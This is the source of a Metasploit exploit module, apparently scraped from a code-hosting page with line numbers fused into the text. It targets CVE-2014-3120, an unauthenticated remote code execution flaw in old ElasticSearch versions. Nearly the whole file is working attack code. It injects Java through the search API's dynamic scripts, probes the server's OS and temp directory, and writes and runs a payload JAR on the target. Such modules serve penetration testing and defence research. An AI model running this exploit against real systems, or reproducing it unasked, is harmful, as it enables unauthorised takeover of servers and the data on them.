Path: blob/master/modules/exploits/multi/elasticsearch/script_mvel_rce.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',16'Description' => %q{17This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,18exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the19REST API, which does not require authentication, where the search20function allows dynamic scripts execution. It can be used for remote attackers21to execute arbitrary Java code. This module has been tested successfully on22ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.23},24'Author' => [25'Alex Brasetvik', # Vulnerability discovery26'Bouke van der Bijl', # Vulnerability discovery and PoC27'juan vazquez' # Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2014-3120'],32['OSVDB', '106949'],33['EDB', '33370'],34['URL', 'http://bouk.co/blog/elasticsearch-rce/'],35['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch']36],37'Platform' => 'java',38'Arch' => ARCH_JAVA,39'Targets' => [40[ 'ElasticSearch 1.1.1 / Automatic', {} ]41],42'DisclosureDate' => '2013-12-09',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(9200),55OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]),56OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ])57]58)59end6061def check62result = Exploit::CheckCode::Safe6364if vulnerable?65result = Exploit::CheckCode::Vulnerable66end6768result69end7071def exploit72print_status("Trying to execute arbitrary Java...")73unless vulnerable?74fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")75end7677print_status("Discovering remote OS...")78res = execute(java_os)79result = parse_result(res)80if result.nil?81fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")82else83# TODO: It'd be nice to report_host() with this info.84print_good("Remote OS is '#{result}'")85end8687jar_file = ""88if result =~ /win/i89print_status("Discovering TEMP path")90res = execute(java_tmp_dir)91result = parse_result(res)92if result.nil?93fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")94else95print_good("TEMP path identified: '#{result}'")96end97jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"98else99jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar")100end101102register_file_for_cleanup(jar_file)103execute(java_payload(jar_file))104end105106def vulnerable?107java = 'System.getProperty("java.class.path")'108109vprint_status("Trying to execute 'System.getProperty(\"java.version\")'...")110res = execute(java)111result = parse_result(res)112113if result.nil?114vprint_status("No results for the Java test")115return false116elsif result =~ /elasticsearch/117vprint_status("Answer to Java test: #{result}")118return true119else120vprint_status("Answer to Java test: #{result}")121return false122end123end124125def parse_result(res)126unless res127vprint_error("#{peer} no response")128return nil129end130131unless res.code == 200 && res.body132vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")133return nil134end135136begin137json = JSON.parse(res.body.to_s)138rescue JSON::ParserError139return nil140end141142begin143result = json['hits']['hits'][0]['fields']['msf_result']144rescue145return nil146end147148result.is_a?(::Array) ? result.first : result149end150151def to_java_byte_array(str)152buff = "byte[] buf = new byte[#{str.length}];\n"153i = 0154str.unpack('C*').each do |c|155buff << "buf[#{i}] = #{c};\n"156i = i + 1157end158159buff160end161162def java_os163"System.getProperty(\"os.name\")"164end165166def java_tmp_dir167"System.getProperty(\"java.io.tmpdir\");"168end169170def java_payload(file_name)171source = <<~EOF172import java.io.*;173import java.lang.*;174import java.net.*;175176#{to_java_byte_array(payload.encoded_jar.pack)}177File f = new File('#{file_name.gsub(/\\/, "/")}');178FileOutputStream fs = new FileOutputStream(f);179bs = new BufferedOutputStream(fs);180bs.write(buf);181bs.close();182bs = null;183URL u = f.toURI().toURL();184URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u});185Class c = cl.loadClass('metasploit.Payload');186c.main(null);187EOF188189source190end191192def execute(java)193payload = {194"size" => 1,195"query" => {196"filtered" => {197"query" => {198"match_all" => {}199}200}201},202"script_fields" => {203"msf_result" => {204"script" => java205}206}207}208209res = send_request_cgi({210'uri' => normalize_uri(target_uri.path.to_s, "_search"),211'method' => 'POST',212'data' => JSON.generate(payload)213})214215return res216end217end218219220